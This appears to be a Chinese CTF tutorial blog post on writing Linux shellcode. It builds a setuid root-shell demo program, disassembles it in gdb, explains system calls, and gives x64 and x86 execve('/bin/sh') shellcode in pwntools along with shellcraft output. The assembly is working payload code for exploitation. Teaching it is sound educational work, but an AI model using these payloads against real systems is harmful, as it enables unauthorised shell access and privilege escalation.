构造 Shellcode (on Linux)
0x10 综述
先上一份示例代码 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17//sample.c
int main(int argc, char *argv[])
{
setreuid(0, 0);
char *data[2];
char sh[] = "/bin/sh";
data[0] = sh;
data[1] = NULL;
execve(sh, data, NULL);
return 0;
}
运行结果如下: 1
2
3
4
5
6
7
8kyrios@predator:~/CTF/PWN/Elder$ sudo su
[sudo] kyrios 的密码:
predator# gcc -Wall -static sample.c -o sample
predator# chmod 4577 sample
predator# exit
kyrios@predator:~/CTF/PWN/Elder$ ./sample
# whoami
root
看,通过运行这个程序,我们以普通用户的身份拿到了 root 权限的 shell。
/*也许不少人会更熟悉system("/bin/sh");
这样的写法。但是
system 函数本质上是 fork 出一个进程来调用了 execve
函数,所以个人感觉这样其实是更接近本质的 shellcode。当然实际应用肯定还是
system 写起来方便,而且就这份代码而言,两者使用起来并没有什么差别。
上面的代码包含了很多底层的细节,如果你了解 Linux
用户权限的话应该会有所体会。不过本文的着重点并不在于此,故不赘述。*/
0x20 解析&构造
接下来我们用 gdb 来分析一下这份代码,我们首先看一下关键的 execve
函数部分 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16kyrios@predator:~/CTF/PWN/Elder$ gdb sample
GNU gdb (Ubuntu 7.11-0ubuntu1) 7.11
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
gdb-peda$ disas execve
Dump of assembler code for function execve:
0x000000000043e890 <+0>: mov eax,0x3b
0x000000000043e895 <+5>: syscall
0x000000000043e897 <+7>: cmp rax,0xfffffffffffff001
0x000000000043e89d <+13>: jae 0x444200 <__syscall_error>
0x000000000043e8a3 <+19>: ret
End of assembler dump.
这里 syscall 是 64 位的系统调用(32 位的系统调用是 int
0x80)。而前面的mov eax,0x3b
是把
0x3b(59)作为本次系统调用的编号。系统内核会根据不同的编号来实现不同的调用。
借此机会,我们简单的讲一下系统调用。
系统调用
在电脑中,系统调用(英语:system call),又称为系统呼叫,指运行在使用者空间的程序向操作系统内核请求需要更高权限运行的服务。系统调用提供用户程序与操作系统之间的接口。
我们可以看看哪些操作是需要通过系统调用来实现的,在我的本机上系统调用的编号文件在/usr/include/asm/unistd_64.h
里面
把 64 改成 32 就是 32 位的系统调用编号。我们可以看看里面的内容
1
2
3
4
5
6
7
8
9
10
11
···1
2mov eax,0x4
syscall
接下来我们再看一下主程的反汇编结果 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30gdb-peda$ disas main
Dump of assembler code for function main:
0x00000000004009ae <+0>: push rbp
0x00000000004009af <+1>: mov rbp,rsp
0x00000000004009b2 <+4>: sub rsp,0x20
0x00000000004009b6 <+8>: mov rax,QWORD PTR fs:0x28
0x00000000004009bf <+17>: mov QWORD PTR [rbp-0x8],rax
0x00000000004009c3 <+21>: xor eax,eax
0x00000000004009c5 <+23>: mov esi,0x0
0x00000000004009ca <+28>: mov edi,0x0
0x00000000004009cf <+33>: call 0x43fbd0 <setreuid>
0x00000000004009d4 <+38>: movabs rax,0x68732f6e69622f
0x00000000004009de <+48>: mov QWORD PTR [rbp-0x10],rax
0x00000000004009e2 <+52>: lea rax,[rbp-0x10]
0x00000000004009e6 <+56>: mov QWORD PTR [rbp-0x20],rax
0x00000000004009ea <+60>: mov QWORD PTR [rbp-0x18],0x0
0x00000000004009f2 <+68>: lea rcx,[rbp-0x20]
0x00000000004009f6 <+72>: lea rax,[rbp-0x10]
0x00000000004009fa <+76>: mov edx,0x0
0x00000000004009ff <+81>: mov rsi,rcx
0x0000000000400a02 <+84>: mov rdi,rax
0x0000000000400a05 <+87>: call 0x43e890 <execve>
0x0000000000400a0a <+92>: mov eax,0x0
0x0000000000400a0f <+97>: mov rdx,QWORD PTR [rbp-0x8]
0x0000000000400a13 <+101>: xor rdx,QWORD PTR fs:0x28
0x0000000000400a1c <+110>: je 0x400a23 <main+117>
0x0000000000400a1e <+112>: call 0x442b60 <__stack_chk_fail>
0x0000000000400a23 <+117>: leave
0x0000000000400a24 <+118>: ret
End of assembler dump.
- 参数1:rax(/bin/sh 的地址)
- 参数2:rcx(/bin/sh 的地址以及内容为 NULL 的数组)
- 参数3:NULL
根据这个我们能用 pwntools 写出 shellcode 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18# x64
shellcode = asm(
'''
xor rdi,rdi ; rdi null
push rdi ; null
push rdi ; null
pop rsi ; argv null
pop rdx ; envp null
mov rdi,0x68732f6e69622f2f ; hs/nib//
shr rdi,0x08 ; no nulls, so shr to get \0
push rdi ; \0hs/nib/
push rsp
pop rdi ; pointer to arguments
push 0x3b ; execve
pop rax
syscall ; make the call
'''
)1
2
3
4
5
6
7
8
9
10
11
12# x86
shellcode = asm(
'''
push 0x68732f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor eax,eax
mov al,0xb
int 0x80
'''
)
0x30 就是有这种操作
如果你实在不想写 shellcode,pwntools 有自带的 shellcode 生成器。
语法:shellcraft.arch.os.cmd()
比如你要生成在 64 位的 Linux 上执行 /bin/sh 的 shellcode
就可以使用shellcraft.amd64.linux.sh()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23>>> print shellcraft.amd64.linux.sh()
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push '/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push 'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall